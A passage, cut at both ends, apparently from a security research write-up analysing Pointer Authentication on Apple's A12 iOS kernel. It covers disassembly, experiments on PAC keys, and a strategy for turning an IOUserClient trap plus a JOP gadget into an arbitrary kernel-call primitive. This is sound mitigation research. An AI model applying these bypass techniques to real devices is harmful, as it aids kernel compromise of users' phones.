if (trap && target) { IOTrap func; func = trap->func; if (func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); } } iokit_remove_connect_reference(userClient); } return result; } If we can patch the IOUserClient instance such that getTargetAndTrapForIndex() returns controlled values for trap and target, then the invocation of target->func below will call an arbitrary kernel function with up to 7 controlled arguments (target plus p1 through p6). To see how this strategy would work on A12 devices, let's examine the changes to this function introduced by PAC. This is easiest to understand by looking at the disassembly: iokit_user_client_trap PACIBSP ... ;; Call iokit_lookup_connect_ref_current_task() on ... ;; args->userClientRef and cast the result to IOUserClient. loc_FFFFFFF00808FF00 STR XZR, [SP,#0x30+var_28] ;; target = NULL LDR X8, [X19] ;; x19 = userClient, x8 = ->vtable AUTDZA X8 ;; validate vtable's PAC ADD X9, X8, #0x5C0 ;; x9 = pointer to vmethod in vtable LDR X8, [X8,#0x5C0] ;; x8 = vmethod getTargetAndTrapForIndex MOVK X9, #0x2BCB,LSL#48 ;; x9 = 2BCB`vmethod_pointer LDR W2, [X20,#8] ;; w2 = args->index ADD X1, SP, #0x30+var_28 ;; x1 = &target MOV X0, X19 ;; x0 = userClient BLRAA X8, X9 ;; PAC call ->getTargetAndTrapForIndex LDR X9, [SP,#0x30+var_28] ;; x9 = target CMP X0, #0 CCMP X9, #0, #4, NE B.EQ loc_FFFFFFF00808FF84 ;; if !trap || !target LDP X8, X11, [X0,#8] ;; x8 = trap->func, x11 = func virtual? AND X10, X11, #1 ORR X12, X10, X8 CBZ X12, loc_FFFFFFF00808FF84 ;; if !func ADD X0, X9, X11,ASR#1 ;; x0 = target CBNZ X10, loc_FFFFFFF00808FF58 MOV X9, #0 ;; Use context 0 for non-virtual func B loc_FFFFFFF00808FF70 loc_FFFFFFF00808FF58 ... ;; Handle the case where trap->func is a virtual method. loc_FFFFFFF00808FF70 LDP X1, X2, [X20,#0x10] ;; x1 = args->p1, x2 = args->p2 LDP X3, X4, [X20,#0x20] ;; x3 = args->p3, x4 = args->p4 LDP X5, X6, [X20,#0x30] ;; x5 = args->p5, x6 = args->p6 BLRAA X8, X9 ;; PAC call func(target, p1, ..., p6) MOV X21, X0 loc_FFFFFFF00808FF84 ... ;; Call iokit_remove_connect_reference(). loc_FFFFFFF00808FF8C ... ;; Epilogue. RETAB As you can see, there are several places where PACs are authenticated. The first, which was omitted from the assembly for brevity, happens when performing the dynamic cast to IOUserClient. Then userClient's vtable is validated and a PAC-protected call to getTargetAndTrapForIndex() is made. After that, the trap->func field is read without validation, and finally the value func is validated with context 0 and called. This is actually about the best case we could reasonably hope for as attackers. If we can find a legitimate user client that provides an implementation of getTargetAndTrapForIndex() that returns a pointer to an IOExternalTrap residing in writable memory, then all we have to do is replace trap->func with a PACIZA'd function pointer (that is, a pointer signed under APIAKey with context 0). That means only a partial PAC bypass, such as the ability to forge just PACIZA pointers, would be sufficient. A quick search through the kernelcache revealed a unique IOUserClient class, IOAudio2DeviceUserClient, that fit these criteria. Here's a decompilation of its getTargetAndTrapForIndex() method: IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex( IOAudio2DeviceUserClient *this, IOService **target, unsigned int index) { ... *target = (IOService *)this; return &this->IOAudio2DeviceUserClient.traps[index]; } The traps field is initialized in the method IOAudio2DeviceUserClient::initializeExternalTrapTable() to a heap-allocated IOExternalTrap object: this->IOAudio2DeviceUserClient.trap_count = 1; this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap)); Thus, all we need to do to call an arbitrary kernel function is create our own IOAudio2DeviceUserClient connection, forge a PACIZA pointer to the function we want to call, overwrite the userClient->traps[0].func field with the PACIZA'd pointer, and invoke IOConnectTrap6() from userspace. This will give us control of all arguments except X0, which is explicitly set to this by IOAudio2DeviceUserClient's implementation of getTargetAndTrapForIndex(). To gain control of X0 alongside X1 through X6, we'll need to replace IOAudio2DeviceUserClient's implementation of getTargetAndTrapForIndex() in the vtable. This means that, in addition to forging the PACIZA pointer to the function we want to call, we'll also need to create a fake vtable consisting of PACIA'd pointers to the virtual methods, and we'll need to replace the existing vtable pointer with a PACDZA'd pointer to the fake vtable. This requires a significantly broader PAC forgery capability. However, even if we only manage to produce PACIZA forgeries, there's still a way to gain control of X0: JOP gadgets. A quick search through the kernelcache revealed the following gadget that sets X0: MOV X0, X4 BR X5 This gives us a way to call arbitrary kernel functions with 4 fully controlled arguments using just a single forged pointer: use iokit_user_client_trap() to call a PACIZA'd pointer to this gadget with X1 through X3 set how we want them for the function call, X4 set to our desired value for X0, and X5 set to the target function we want to call. Analyzing PAC on the A12 Now that we know how we can use PAC forgery to call arbitrary kernel functions, let's begin analyzing Apple's implementation of PAC on the A12 SoC for weaknesses. Ideally we'll find a way to perform both PACIA and PACDA forgeries, but as previously discussed, even the ability to forge a single PACIZA pointer will be sufficient to call arbitrary kernel functions with up to 4 arguments. To actually perform my analysis, I used the voucher_swap exploit to get kernel read/write on an iPhone XR running iOS 12.1.1 build 16C50. Finding where PAC keys are set My first step was to identify where in the kernel's code the PAC keys were being set. Unfortunately, IDA does not display names for the special registers used to store the PAC keys, so I had to do a bit of digging. Searching for "APIAKey" in the LLVM repository mirror on GitHub revealed that the registers used to store the APIAKey are called APIAKeyLo_EL1 and APIAKeyHi_EL1, and the registers for other keys are similarly named. Furthermore, the file AArch64SystemOperands.td declares the codes for these registers. This allows us to easily search for these registers in IDA. For example, to find where APIAKeyLo_EL1 is set, I searched for the string "#0, c2, c1, #0". This brought me to what I identified as part of common_start, from osfmk/arm64/start.s: _WriteStatusReg(TCR_EL1, sysreg_restore); // 3, 0, 2, 0, 2 PPLTEXT__set__TTBR0_EL1(x25 & 0xFFFFFFFFFFFF); _WriteStatusReg(TTBR1_EL1, (x25 + 0x4000) & 0xFFFFFFFFFFFF); // 3, 0, 2, 0, 1 _WriteStatusReg(MAIR_EL1, 0x44F00BB44FF); // 3, 0, 10, 2, 0 if ( x21 ) _WriteStatusReg(TTBR1_EL1, cpu_ttep); // 3, 0, 2, 0, 1 _WriteStatusReg(VBAR_EL1, ExceptionVectorsBase + x22 - x23); // 3, 0, 12, 0, 0 do x0 = _ReadStatusReg(S3_4_C15_C0_4); // ???? while ( !(x0 & 2) ); _WriteStatusReg(S3_4_C15_C0_4, x0 | 5); // ???? __isb(0xF); _WriteStatusReg(APIBKeyLo_EL1, 0xFEEDFACEFEEDFACF); // 3, 0, 2, 1, 2 _WriteStatusReg(APIBKeyHi_EL1, 0xFEEDFACEFEEDFACF); // 3, 0, 2, 1, 3 _WriteStatusReg(APDBKeyLo_EL1, 0xFEEDFACEFEEDFAD0); // 3, 0, 2, 2, 2 _WriteStatusReg(APDBKeyHi_EL1, 0xFEEDFACEFEEDFAD0); // 3, 0, 2, 2, 3 _WriteStatusReg(S3_4_C15_C1_0, 0xFEEDFACEFEEDFAD1); // ???? _WriteStatusReg(S3_4_C15_C1_1, 0xFEEDFACEFEEDFAD1); // ???? _WriteStatusReg(APIAKeyLo_EL1, 0xFEEDFACEFEEDFAD2); // 3, 0, 2, 1, 0 _WriteStatusReg(APIAKeyHi_EL1, 0xFEEDFACEFEEDFAD2); // 3, 0, 2, 1, 1 _WriteStatusReg(APDAKeyLo_EL1, 0xFEEDFACEFEEDFAD3); // 3, 0, 2, 2, 0 _WriteStatusReg(APDAKeyHi_EL1, 0xFEEDFACEFEEDFAD3); // 3, 0, 2, 2, 1 _WriteStatusReg(APGAKeyLo_EL1, 0xFEEDFACEFEEDFAD4); // 3, 0, 2, 3, 0 _WriteStatusReg(APGAKeyHi_EL1, 0xFEEDFACEFEEDFAD4); // 3, 0, 2, 3, 1 _WriteStatusReg(SCTLR_EL1, 0xFC54793D); // 3, 0, 1, 0, 0 __isb(0xF); _WriteStatusReg(CPACR_EL1, 0x300000); // 3, 0, 1, 0, 2 _WriteStatusReg(TPIDR_EL1, 0); // 3, 0, 13, 0, 4 This is very interesting, since it looks like common_start sets the PAC keys to constant values every time a core starts up! Thinking that perhaps this was an artifact of the decompilation, I checked the disassembly: common_start+A8 LDR X0, =0xFEEDFACEFEEDFACF ;; x0 = pac_key MSR #0, c2, c1, #2, X0 ;; APIBKeyLo_EL1 MSR #0, c2, c1, #3, X0 ;; APIBKeyHi_EL1 ADD X0, X0, #1 MSR #0, c2, c2, #2, X0 ;; APDBKeyLo_EL1 MSR #0, c2, c2, #3, X0 ;; APDBKeyHi_EL1 ADD X0, X0, #1 MSR #4, c15, c1, #0, X0 ;; ???? MSR #4, c15, c1, #1, X0 ;; ???? ADD X0, X0, #1 MSR #0, c2, c1, #0, X0 ;; APIAKeyLo_EL1 MSR #0, c2, c1, #1, X0 ;; APIAKeyHi_EL1 ADD X0, X0, #1 MSR #0, c2, c2, #0, X0 ;; APDAKeyLo_EL1 MSR #0, c2, c2, #1, X0 ;; APDAKeyHi_EL1 ... pac_key DCQ 0xFEEDFACEFEEDFACF ; DATA XREF: common_start+A8↑r No, common_start really was initializing all the PAC keys to constant values. This was quite surprising: clearly Apple knows that using constant PAC keys breaks all of PAC's security guarantees. So I figured there must be some other place the PAC keys were being initialized to their true runtime values. But after much searching, this appeared to be the only location in the kernelcache that was setting the A keys and the general key. Still, it did appear that the B keys were being set in a few more places: machine_load_context+A8 LDR X1, [X0,#0x458] ... MSR #0, c2, c1, #2, X1 ;; APIBKeyLo_EL1 MSR #0, c2, c1, #3, X1 ;; APIBKeyHi_EL1 ADD X1, X1, #1 MSR #0, c2, c2, #2, X1 ;; APDBKeyLo_EL1 MSR #0, c2, c2, #3, X1 ;; APDBKeyHi_EL1 Call_continuation+10 LDR X5, [X4,#0x458] ... MSR #0, c2, c1, #2, X5 ;; APIBKeyLo_EL1 MSR #0, c2, c1, #3, X5 ;; APIBKeyHi_EL1 ADD X5, X5, #1 MSR #0, c2, c2, #2, X5 ;; APDBKeyLo_EL1 MSR #0, c2, c2, #3, X5 ;; APDBKeyHi_EL1 Switch_context+11C LDR X3, [X2,#0x458] ... MSR #0, c2, c1, #2, X3 ;; APIBKeyLo_EL1 MSR #0, c2, c1, #3, X3 ;; APIBKeyHi_EL1 ADD X3, X3, #1 MSR #0, c2, c2, #2, X3 ;; APDBKeyLo_EL1 MSR #0, c2, c2, #3, X3 ;; APDBKeyLo_EL1 Idle_load_context+88 LDR X1, [X0,#0x458] ... MSR #0, c2, c1, #2, X1 ;; APIBKeyLo_EL1 MSR #0, c2, c1, #3, X1 ;; APIBKeyHi_EL1 ADD X1, X1, #1 MSR #0, c2, c2, #2, X1 ;; APDBKeyLo_EL1 MSR #0, c2, c2, #3, X1 ;; APDBKeyHi_EL1 These are the only other places in the kernel that set PAC keys, and they all follow the same pattern: a 64-bit load from offset 0x458 into some data structure (later identified as struct thread), then setting the APIBKey to that value concatenated with itself, and setting the APDBKey to that value plus one concatenated with itself. Furthermore, all of these locations deal specifically with context switching between threads; conspicuously absent from this list is any indication that the PAC keys are changed when transitioning between exception levels, either on kernel entry (e.g. via a syscall) or on kernel exit (via ERET*). This would be a strong indication that the PAC keys are indeed shared between userspace and the kernel. (I subsequently learned that @ProteasWang discovered the same thing I did: a GitHub gist called pac-set-key.md lists only the previously mentioned locations.) If my understanding was correct, this seemed to suggest three disturbing and, frankly, highly unlikely things. First, contrary to all rules of cryptography, it appeared that the kernel was using constant values for the A keys and the general key. Second, the keys seemed to be effectively 64-bits, since the first and second halves of the 128-bit key are the same. And third, the PAC keys appeared to be shared between userspace and the kernel, meaning userspace could forge kernel PAC signatures. Could Apple's implementation really be that broken? Or was something else going on? Observing runtime behavior In order to find out, I conducted a simple experiment: I read the value of a global PACIZA'd function pointer in the __DATA_CONST.__const section over many different boots, recording the value of the kASLR slide each time. Since the number of possible kernel slide values is relatively small, it shouldn't be too long before I get two separate boots with the kernel at the exact same location in memory, meaning that the original, non-PAC'd value of the pointer would be the same both times. Then, if the A keys really are constant, the value of the PACIZA'd pointer should be the same in both boots, since the signing algorithm is deterministic and the pointer and context values being signed are the same both times. As a target, I chose to read sysclk_ops.c_gettime, which is a pointer to the function rtclock_gettime(). The results of this experiment over 30 trials are listed below, with colliding runs highlighted: slide = 000000000ce00000, c_gettime = b2902c70147f2050 slide = 0000000023200000, c_gettime = 61e2c2f02abf2050 slide = 0000000023000000, c_gettime = d98e57f02a9f2050 slide = 0000000006e00000, c_gettime = 0b9613700e7f2050 slide = 000000001ce00000, c_gettime = c3822bf0247f2050 slide = 0000000004600000, c_gettime = 00d248f00bff2050 slide = 000000001fe00000, c_gettime = 6aa61ef0277f2050 slide = 0000000013400000, c_gettime = fda847701adf2050 slide = 0000000015a00000, c_gettime = c5883b701d3f2050 slide = 000000000a200000, c_gettime = bbe37ef011bf2050 slide = 0000000014200000, c_gettime = a8ff9f701bbf2050 slide = 0000000014800000, c_gettime = 20e538701c1f2050 slide = 0000000019800000, c_gettime = 66f61b70211f2050 slide = 000000001c200000, c_gettime = 24aea37023bf2050 slide = 0000000006c00000, c_gettime = 5a9b42f00e5f2050 slide = 000000000e200000, c_gettime = 128526f015bf2050 slide = 000000001fa00000, c_gettime = 4cf2ad70273f2050 slide = 000000000a200000, c_gettime = 6ed3177011bf2050 slide = 000000000ea00000, c_gettime = 869d0f70163f2050 slide = 0000000015800000, c_gettime = 9898c2f01d1f2050 slide = 000000001d400000, c_gettime = 52a343f024df2050 slide = 000000001d600000, c_gettime = 7ea2337024ff2050 slide = 0000000023e00000, c_gettime = 31d3b3f02b7f2050 slide = 0000000008e00000, c_gettime = 27a72cf0107f2050 slide = 000000000fa00000, c_gettime = 2b988f70173f2050 slide = 0000000011000000, c_gettime = 86c7a670189f2050 slide = 0000000011a00000, c_gettime = 3d8103f0193f2050 slide = 000000001c200000, c_gettime = 56d444f023bf2050 slide = 000000001fe00000, c_gettime = 82fa3970277f2050 slide = 0000000008c00000, c_gettime = 89dcda70105f2050 As you can see, even though by all accounts the IA key is the same, PACIZAs for the same pointer generated across different boots are somehow different. The most straightforward solution I could think of was that iBoot or the kernel might be overwriting pac_key with a random value each boot before common_start runs, so that the PAC keys really are different each boot. Even though pac_key resides in __TEXT_EXEC.__text, which is protected against writes by KTRR, it's still possible to modify __TEXT_EXEC.__text before KTRR lockdown is performed. However, reading pac_key at runtime showed it still contained the value 0xfeedfacefeedfacf, so something else must be going on. I next performed an experiment to determine whether the PAC keys really were shared between userspace and the kernel, as the code suggested. I executed the PACIZA instruction in userspace on the address of the rtclock_gettime() function, and then compared against the PACIZA'd sysclk_ops.c_gettime pointer read from kernel memory. These two values differed despite the fact that the PAC keys should be the same in userspace and the kernel, so once again it appeared that the A12 was conjuring some sort of dark magic. Still not quite believing that pac_key wasn't being modified at runtime, I tried enumerating the B-key values of all threads on the system to see whether they really matched the 0xfeedfacefeedfacf value suggested by the code. Looking at the code for Switch_context in osfmk/arm64/cswitch.s, I determined that the value used as a seed to compute the B keys was being loaded from offset 0x458 of struct thread, the Mach struct representing a thread. This field is not present in the public XNU sources, so I decided to name it pac_key_seed. My experiment consisted of walking the global thread list and dumping each thread's pac_key_seed. I found that all kernel threads were indeed using the 0xfeedfacefeedfacf PAC key seed, while threads for userspace processes were using different, random seeds: pid 0 thread ffffffe00092c000 pac_seed feedfacefeedfacf pid 0 thread ffffffe00092c550 pac_seed feedfacefeedfacf pid 0 thread ffffffe00092caa0 pac_seed feedfacefeedfacf ... pid 258 thread ffffffe003597520 pac_seed 51c6b449d9c6e7a3 pid 258 thread ffffffe003764aa0 pac_seed 51c6b449d9c6e7a3 Thus, it did seem like the PAC keys for kernel threads were being initialized the same each boot, and yet the PAC'd pointers were different across boots. Something fishy was going on. Bypass attempts I next turned my attention to bypassing PAC using the weaknesses identified in the section "Weaknesses against kernel attackers". Since executing the same PACIZA instruction on the same pointer value with the same PAC keys across different boots was producing different results, there must be some unidentified source of per-boot randomness. This basically spelled doom for the "implement QARMA-64 in userspace and compute PACs manually" strategy, but I decided to try it anyway. Unsurprisingly, this did not work. Next I looked at whether I could set my own thread's PAC keys equal to the kernel PAC keys and forge kernel pointers in userspace. Ideally this would mean I'd set my IA key equal to the kernel's IA key, namely 0xfeedfacefeedfad2. However, as previously discussed, there's only one place in the kernel that appears to set the A keys, common_start, and yet userspace and kernel PAC codes are different anyway. So I decided to combine this approach with the PAC cross-key symmetry weakness and instead set my thread's IB key equal to the kernel's IA key, which should allow me to forge kernel PACIZA pointers by executing PACIZB in userspace. Unfortunately, the naive way of doing this, by overwriting the pac_key_seed field in the current thread, would probably crash or panic the system, since changing PAC keys during a thread's lifetime will break the thread's existing PAC signatures. And PAC signatures are checked all the time, most frequently when returning from a function via RETAB. This means that the only way to guarantee that changing a thread's PAC keys doesn't crash it or trigger a panic is to ensure that the thread does not call or return from any functions while the keys have been changed. The easiest way to do this is to spawn a thread that infinite loops in userspace executing PACIZB and storing the result to a global variable. Then we can overwrite the thread's pac_key_seed and force the thread off-core using contention; once the looping thread is rescheduled, its B keys will be set via Switch_context and the forgery will be executed. However, once again, the result of this experiment was unsuccessful: gettime = fffffff0161f2050 kPACIZA = faef2270161f2050 uPACIZA = 138a8670161f2050 uPACIZB forge = d7fd0ff0161f2050 It seemed that the A12 manages to break either cross-EL PAC symmetry or cross-key PAC symmetry. To gain a bit more insight, I devised a test specifically for cross-key PAC symmetry. This meant setting my thread's IB key equal to the DB key and checking whether the outputs of PACIZB and PACDZB looked similar, indicating that the same PAC was generated. Since the IB and DB keys are generated from the same seed and cannot be set independently, this actually involved 2 trials: first with seed value 0x11223344, and next with seed value 0x11223345: IB = 0x11223344 uPACIZB = 0028180100000000 DB = 0x11223345 uPACDZB = 00679e0100000000 IB = 0x11223345 uPACIZB = 003ea80100000000 DB = 0x11223346 uPACDZB = 0023c58100000000 The highlighted rows show the result of executing PACDZB and PACIZB on the same value from userspace with the same keys. On a standard ARMv8.3 implementation of Pointer Authentication, we'd expect most of the bits of the PAC to agree. However, the two PACs seem unrelated, suggesting that the A12 does indeed manage to break cross-key PAC symmetry. Implementation theories With all three weaknesses suggested by the original design demonstrably not applicable to the A12, it was time to try and work out what was really going on here. It's clear that Apple had considered the fact that Pointer Authentication as defined in the standard would do little to protect against kernel attackers with read/write, and thus they decided to implement a more robust defense. It's impossible to know what exactly they did without a concerted reverse engineering effort, but we can speculate based on the observed behavior. My first thought was that Apple had decided to implement a secure monitor again, like it had done on prior devices with Watchtower to protect against kernel patches. If the secure monitor could trap transitions between exception levels and trap writes to the PAC key registers, it could hide the true PAC keys from the kernel and implement other shenanigans to break PAC symmetries. However, I couldn't find evidence of a secure monitor inside the kernelcache. Another alternative is that Apple has decided to move the true PAC keys into the A12 itself, so that even the most powerful software attacker doesn't have the ability to read the keys. The keys could be generated randomly on boot or set via special registers by iBoot. Then, the keys that are fed to QARMA-64 (or whatever algorithm is actually being used to generate PACs) would be some combination of the random key, the standard key set via special registers, and the current exception level. For example, the A12 could theoretically store 10 random 128-bit PAC keys, one for each pair of an exception level (EL0 or EL1) and a standard PAC key (IA, IB, DA, DB, or GA). Then the PAC key used for any particular operation could be the XOR of the random PAC key corresponding to the operation (e.g. IB-EL0 for a PACIB instruction in userspace) with the standard PAC key set via the standard registers (e.g. APIBKey). Such a design wouldn't come without challenges (for example, you'd need a non-volatile place to store the random keys for when the core sleeps), but it would cleanly break the cross-EL and cross-key symmetries and prevent the keys from ever being disclosed, completely mitigating the three previously identified weaknesses. While I couldn't figure out the true implementation, I decided to assume the most robust design for the rest of my research: that the true keys are random and stored in the SoC itself. That way, any bypass strategy I found would be all but guaranteed to work regardless of the actual implementation. PAC EL-impersonation With zero leads for systematic weaknesses, I decided it was time to investigate PAC signing gadgets. The very first PACIA instruction occurs in a function I identified as vm_shared_region_slide_page(), and specifically as an inlined copy of vm_shared_region_slide_page_v3(). This function is present in the XNU sources, and has the following interesting comment in its main loop: uint8_t* rebaseLocation = page_content; uint64_t delta = page_entry; do { rebaseLocation += delta; uint64_t value; memcpy(&value, rebaseLocation, sizeof(value)); delta = ( (value & 0x3FF8000000000000) >> 51) * sizeof(uint64_t); // A pointer is one of : // { // uint64_t pointerValue : 51; // uint64_t offsetToNextPointer : 11; // uint64_t isBind : 1 = 0; // uint64_t authenticated : 1 = 0; // } // { // uint32_t offsetFromSharedCacheBase; // uint16_t diversityData; // uint16_t hasAddressDiversity : 1; // uint16_t hasDKey : 1; // uint16_t hasBKey : 1; // uint16_t offsetToNextPointer : 11; // uint16_t isBind : 1; // uint16_t authenticated : 1 = 1; // } bool isBind = (value & (1ULL << 62)) == 1; if (isBind) { return KERN_FAILURE; } bool isAuthenticated = (value & (1ULL << 63)) != 0; if (isAuthenticated) { // The new value for a rebase is the low 32-bits of the threaded value // plus the slide. value = (value & 0xFFFFFFFF) + slide_amount; // Add in the offset from the mach_header const uint64_t value_add = s_info->value_add; value += value_add; } else { // The new value for a rebase is the low 51-bits of the threaded value // plus the slide. Regular pointer which needs to fit in 51-bits of // value. C++ RTTI uses the top bit, so we'll allow the whole top-byte // and the bottom 43-bits to be fit in to 51-bits. ... } memcpy(rebaseLocation, &value, sizeof(value)); } while (delta != 0); The part about the "pointer" containing authenticated, hasBKey, and hasDKey bits suggests that this code is dealing with authenticated pointers, although all the code that actually performs PAC operations has been removed from the public sources. Furthermore, the other comment about C++ RTTI suggests that this code is specifically for rebasing userspace code. This means that the kernel would have to be aware of, and maybe perform PAC operations on, userspace pointers. Looking at the decompilation of this loop in IDA, we can see that there are many operations not present in the public source code: slide_amount = si->slide; offset = uservaddr - rebaseLocation; do { rebaseLocation += delta; value = *(uint64_t *)rebaseLocation; delta = (value >> 48) & 0x3FF8; if ( value & 0x8000000000000000 ) // isAuthenticated { value = slide_amount + (uint32_t)value + slide_info_entry->value_add; context = (value >> 32) & 0xFFFF; // diversityData if ( value & 0x1000000000000 ) // hasAddressDiversity context = (offset + rebaseLocation) & 0xFFFFFFFFFFFF | (context << 48); if ( si->UNKNOWN_FIELD && !(BootArgs->bootFlags & 0x4000000000000000) ) { daif = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));// DAIF if ( !(daif & 0x80) ) __asm { MSR #6, #3 } _WriteStatusReg(S3_4_C15_C0_4, _ReadStatusReg(S3_4_C15_C0_4) & 0xFFFFFFFFFFFFFFFB); __isb(0xFu); key_bits = (value >> 49) & 3; switch ( key_bits ) { case 0: value = ptrauth_sign...(value, ptrauth_key_asia, &context); break; case 1: value = ptrauth_sign...(value, ptrauth_key_asib, &context); break; case 2: value = ptrauth_sign...(value, ptrauth_key_asda, &context); break; case 3: value = ptrauth_sign...(value, ptrauth_key_asdb, &context); break; } _WriteStatusReg(S3_4_C15_C0_4, _ReadStatusReg(S3_4_C15_C0_4) | 4); __isb(0xFu); ml_set_interrupts_enabled(~(daif >> 7) & 1); } } else { ... } memmove(rebaseLocation, &value, 8); } while ( delta ); It appears that the kernel is attempting to sign pointers on behalf of userspace. This is interesting because, as previously discussed, the A12 breaks cross-EL symmetry, which should mean that the kernel's signatures on userspace pointers will be invalid in userspace. It's unlikely that this freshly-introduced code is broken, so there must be some mechanism by which the kernel instructs the CPU to sign with userspace pointers instead. Searching for other instances of PAC* instructions like this, a pattern begins to emerge: whenever the kernel signs pointers on behalf of userspace, it wraps the PAC instructions by clearing and setting a bit in the S3_4_C15_C0_4 system register: MRS X8, #4, c15, c0, #4 ; S3_4_C15_C0_4 AND X8, X8, #0xFFFFFFFFFFFFFFFB MSR #4, c15, c0, #4, X8 ; S3_4_C15_C0_4 ISB ... ;; PAC stuff for userspace MRS X8, #4, c15, c0, #4 ; S3_4_C15_C0_4 ORR X8, X8, #4 MSR #4, c15, c0, #4, X8 ; S3_4_C15_C0_4 ISB Also, kernel code that sets/clears bit 0x4 of S3_4_C15_C0_4 is usually accompanied by code that disables interrupts and checks bit 0x4000000000000000 of BootArgs->bootFlags, as we see in the excerpt from vm_shared_region_slide_page_v3() above. We can infer that bit 0x4 of S3_4_C15_C0_4 controls whether PAC* instructions in the kernel use the EL0 keys or the EL1 keys: when this bit is set the kernel keys are used, otherwise the userspace keys are used. It makes sense that you'd need to disable interrupts while this bit is cleared, since otherwise the arrival of an interrupt may cause other kernel code to execute while the EL0 PAC keys are still in use, causing PAC validation failures that would panic the kernel. PAC-enable bits in SCTLR_EL1 Another thing I noticed while investigating system registers was that previously reserved bits of SCTLR_EL1 were now being used to enable/disable PAC instructions for certain keys. While looking at the exception vector for syscall entry, Lel0_synchronous_vector_64, I noticed some additional code referencing bootFlags and setting certain bits of SCTLR_EL1 that are marked as reserved in the ARM standard: ADRP X0, #const_boot_args@PAGE ADD X0, X0, #const_boot_args@PAGEOFF LDR X0, [X0,#(const_boot_args.bootFlags - 0xFFFFFFF0077A21B8)] AND X0, X0, #0x8000000000000000 CBNZ X0, loc_FFFFFFF0079B3320 MRS X0, #0, c1, c0, #0 ;; SCTLR_EL1 TBNZ W0, #0x1F, loc_FFFFFFF0079B3320 ORR X0, X0, #0x80000000 ;; set bit 31 ORR X0, X0, #0x8000000 ;; set bit 27 ORR X0, X0, #0x2000 ;; set bit 13 MSR #0, c1, c0, #0, X0 ;; SCTLR_EL1 Also, these bits are conditionally cleared on exception return: TBNZ W1, #2, loc_FFFFFFF0079B3AE8 ;; SPSR_EL1.M[3:0] & 0x4 ... LDR X2, [X2,#thread.field_460] CBZ X2, loc_FFFFFFF0079B3AE8 ... MRS X0, #0, c1, c0, #0 ;; SCTLR_EL1 AND X0, X0, #0xFFFFFFFF7FFFFFFF ;; clear bit 31 AND X0, X0, #0xFFFFFFFFF7FFFFFF ;; clear bit 27 AND X0, X0, #0xFFFFFFFFFFFFDFFF ;; clear bit 13 MSR #0, c1, c0, #0, X0 ;; SCTLR_EL1 While these bits are documented as reserved (with value 0) by ARM, I did find a reference to one of them in the XNU 4903.221.2 sources, in osfmk/arm64/proc_reg.h: // 13 PACDB_ENABLED AddPACDB and AuthDB functions enabled #define SCTLR_PACDB_ENABLED (1 << 13) This suggested that bit 13 at least is related to enabling PAC for the DB key. Since the only SCTLR_EL1 bits that are both (a) not mentioned in the file and (b) not set automatically via SCTLR_RESERVED are 31, 30, and 27, I speculated that these bits controlled the other PAC keys. (Presumably, leaving the reference to SCTLR_PACDB_ENABLED in the code was an oversight.) My guess is that bit 31 controls PACIA, bit 30 controls PACIB, bit 27 controls PACDA, and bit 13 controls PACDB. To test this theory, I executed the following sequence of PAC instructions in the debugger, both before and after setting the field at offset 0x460 of the current thread: pacia x0, x1 pacib x2, x3 pacda x4, x5 pacdb x6, x7 Before executing these instructions, I set each register Xn to the value 0x11223300 | n. Here's the result before setting field_460, with the PACs highlighted: x0 = 0x001d498011223300 # PACIA x1 = 0x0000000011223301 x2 = 0x0035778011223302 # PACIB x3 = 0x0000000011223303 x4 = 0x0062860011223304 # PACDA x5 = 0x0000000011223305 x6 = 0x001e6c8011223306 # PACDB x7 = 0x0000000011223307 And here's the result after: x0 = 0x0000000011223300 # PACIA x1 = 0x0000000011223301 x2 = 0x0035778011223302 # PACIB x3 = 0x0000000011223303 x4 = 0x0000000011223304 # PACDA x5 = 0x0000000011223305 x6 = 0x0000000011223306 # PACDB x7 = 0x0000000011223307 This seems to confirm our theory: before setting field_460, the PAC instructions worked as expected, but after setting field_460, all except PACIB have been effectively turned into NOPs. Using this fact for exploitation is tricky, since overwriting field_460 in a kernel thread does not seem to disable PAC in that thread due to additional checks. Nonetheless, the existence of these PAC-enable bits in SCTLR_EL1 was interesting in its own right. The (non-)existence of signing gadgets At this point, since we have no systematic weaknesses against Apple's more robust design, we're looking for a signing gadget usable only via read/write. That means we're looking for a sequence of code that will read a pointer from memory, sign it, and write it back to memory. But we can't yet call arbitrary kernel addresses, so we also need to ensure that this code path is actually triggerable, either during the course of normal kernel operation, or by using our iokit_user_client_trap() call primitive to call a kernel function to which there already exists a PACIZA'd pointer. Apple has clearly tried to scrub the kernelcache of any obvious signing gadgets. All occurrences of the PACIA instruction are either unusable or wrapped by code that switches to the userspace PAC keys (via S3_4_C15_C0_4), so there's no way we can convince the kernel to perform a PACIA forgery using only read/write. This left just PACIZA. While there were many more occurrences of the PACIZA instruction, most of them were useless since the result wasn't written to memory. Additionally, gadgets that actually did load and store the pointer were almost always preceded by AUTIA, which would fail if the pointer we were signing didn't already have a valid PAC: LDR X10, [X9,#0x30]! CBNZ X19, loc_FFFFFFF007EBD330 CBZ X10, loc_FFFFFFF007EBD330 MOV X19, #0 MOV X11, X9 MOVK X11, #0x14EF,LSL#48 AUTIA X10, X11 PACIZA X10 STR X10, [X9] Thus, it appeared I was out of luck. The fourth weakness After giving up on signing gadgets and pursuing a few other dead ends, I eventually wondered: What would actually happen if PACIZA was used to sign an invalid pointer validated by AUTIA? I'd assumed that such a pointer would be useless, but I decided to look at the ARM pseudocode to see what would actually happen. To my surprise, the standard revealed a funny interaction between AUTIA and PACIZA. When AUTIA finds that an authenticated pointer's PAC doesn't match the expected value, it corrupts the pointer by inserting an error code into the pointer's extension bits: // Auth() // ====== // Restores the upper bits of the address to be all zeros or all ones (based on // the value of bit[55]) and computes and checks the pointer authentication // code. If the check passes, then the restored address is returned. If the // check fails, the second-top and third-top bits of the extension bits in the // pointer authentication code field are corrupted to ensure that accessing the // address will give a translation fault. bits(64) Auth(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data, bit keynumber) bits(64) PAC; bits(64) result; bits(64) original_ptr; bits(2) error_code; bits(64) extfield; // Reconstruct the extension field used of adding the PAC to the pointer boolean tbi = CalculateTBI(ptr, data); integer bottom_PAC_bit = CalculateBottomPACBit(ptr<55>); extfield = Replicate(ptr<55>, 64); if tbi then ... else original_ptr = extfield<64-bottom_PAC_bit-1:0>:ptr<bottom_PAC_bit-1:0>; PAC = ComputePAC(original_ptr, modifier, K<127:64>, K<63:0>); // Check pointer authentication code if tbi then 